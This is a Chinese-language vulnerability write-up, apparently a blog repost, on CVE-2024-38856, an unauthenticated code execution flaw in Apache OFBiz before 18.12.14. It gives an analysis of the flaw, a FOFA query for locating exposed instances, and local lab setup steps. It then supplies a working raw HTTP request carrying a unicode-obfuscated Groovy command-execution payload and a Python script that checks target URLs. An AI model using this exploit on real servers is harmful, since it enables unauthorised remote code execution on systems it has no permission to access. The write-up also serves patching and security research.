Apache OFBiz代码执行漏洞(CVE-2024-38856)

admin 2024年10月22日12:46:04评论40 views字数 3475阅读11分35秒阅读模式
01

漏洞介绍
Apache OFBiz代码执行漏洞

(CVE-2024-38856)

Apache OFBiz代码执行漏洞(CVE-2024-38856)

 

【产品介绍】

   Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。
【漏洞介绍】
    Apache OFBiz 18.12.14及之前版本存在安全漏洞,该漏洞源于存在授权错误漏洞,从而导致未经身份验证的端点可执行屏幕渲染代码。
网络安全
共筑防线
Apache OFBiz代码执行漏洞(CVE-2024-38856)

Apache OFBiz代码执行漏洞(CVE-2024-38856)

 

 

02
漏洞复现
分析、复现
Apache OFBiz代码执行漏洞(CVE-2024-38856)

【FOFA】

app="Apache_OFBiz"

【影响版本】

Apache OFBiz < 18.12.14

Apache OFBiz代码执行漏洞(CVE-2024-38856)

【漏洞分析】

核心问题:身份验证机制缺陷与视图渲染逻辑缺陷:
  1. 身份验证机制缺陷:正常情况下,应用系统应该对用户进行严格的身份验证,确保只有经过授权的用户才能访问敏感功能和执行关键操作。但在 CVE-2024-38856 中,身份验证机制存在漏洞,导致未经身份验证的用户也能够访问到原本需要身份验证的功能和操作。这是该漏洞的一个基础问题,为后续的攻击行为提供了可能性。
  2. 视图渲染逻辑缺陷:Apache OFBiz 在处理视图渲染时存在逻辑漏洞。视图渲染是将数据和页面模板结合起来生成最终用户看到的页面的过程。该漏洞使得攻击者可以通过构造特殊的请求来干扰这个过程,覆盖最终的渲染视图。
【漏洞利用过程】
请求处理流程中的漏洞利用点:
  1. Apache OFBiz 的org.apache.ofbiz.webapp.control.ControlServlet会处理所有以/control/开头的路由。当接收到一个请求时,首先会进入ControlServlet的doPost方法,该方法会将请求转换为doGet请求进行处理。
  2. 在doGet方法中,会利用RequestHandler来进一步处理请求。RequestHandler在处理请求时会依次获取路由相关的参数,如应用程序名称、请求 URI、覆盖视图 URI 等。
  3. 经过一系列获取参数的操作后,会调用resolveURI方法返回路由对应的配置信息。这里存在的问题是,部分路由的配置信息没有正确地设置访问权限,导致一些本应需要身份验证的端点可以被未经身份验证的用户访问。
  4. 构造特殊 URL 进行攻击:攻击者利用上述漏洞,构造特殊的 URL 来发起请求。通过在 URL 中包含特定的参数和指令,能够覆盖原本的渲染视图。例如,攻击者可以构造一个包含恶意代码的请求,将其作为参数传递给系统。当系统处理这个请求时,由于漏洞的存在,会将攻击者构造的恶意代码作为视图的一部分进行渲染和执行,从而实现远程代码执行。
【与其他漏洞的关联】
  1. 安全研究人员在分析 CVE-2024-36104(一个路径遍历漏洞)的修补过程中发现了 CVE-2024-38856。这表明系统中可能存在一些相互关联的代码逻辑或功能模块,一个漏洞的修复可能会影响到其他部分的功能,从而引发新的漏洞。在这种情况下,对 CVE-2024-36104 的修复可能导致了系统在处理视图渲染和身份验证方面的逻辑发生了变化,进而暴露了 CVE-2024-38856 这个新的漏洞。
  2. 总的来说,CVE-2024-38856 漏洞是由于 Apache OFBiz 系统在身份验证和视图渲染方面的代码逻辑存在缺陷,使得未经身份验证的攻击者可以通过构造特殊的 URL 来覆盖渲染视图并执行任意代码。该漏洞的影响范围较大,危害严重,可能导致敏感信息泄露、数据被篡改或系统被攻击者完全控制等后果。建议用户尽快升级到 Apache OFBiz 的最新版本(18.12.15 及以上)来修复该漏洞
【漏洞环境搭建】
项目地址:https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14
下载代码链接:https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下载后利用 idea 打开并编译运行即可

【漏洞复现】

1. 访问如下POST请求即可

 

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

groovyProgram=u0074u0068u0072u006fu0077u0020u006eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006fu006eu0028u0027u0069u0064u0027u002eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002eu0074u0065u0078u0074u0029u003b

 

参数值解码后内容为:throw new Exception('id'.execute().text);

Apache OFBiz代码执行漏洞(CVE-2024-38856)

POC/EXP为:

import requests
import sys
import argparse
import base64
import urllib3

#Suppressing warnings related to insecure web requests in Python
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def checkVuln(targetURL):
# Check if URL starts with http:// or https://
if not (targetURL.startswith("http://") or targetURL.startswith("https://")):
print("Error: URL must start with http:// or https://")
sys.exit()

checkurl = f"{targetURL}webtools/control/forgotPassword/ProgramExport?groovyProgram=throw+new+Exception('id'.execute().text)"
response = requests.get(checkurl, timeout=7, verify=False)
if response.status_code == 200 and 'uid=0' in response.text:
print("�33[92m * Target is Vulnerable! �33[0m n")

else:
print("Target is not vulnerable or not reachable :(")

def main():
parser = argparse.ArgumentParser(description="CVE-2024-38856")
parser.add_argument("url", help="The target URL")
args = parser.parse_args()

try:
return(checkVuln(args.url))

except Exception as e:
sys.exit(f"Some error occured: {e}")

if __name__ == "__main__":
main()


原文始发于微信公众号(东方隐侠安全团队):漏洞复现|Apache OFBiz代码执行漏洞(CVE-2024-38856)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月22日12:46:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache OFBiz代码执行漏洞(CVE-2024-38856)https://cn-sec.com/archives/3298141.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息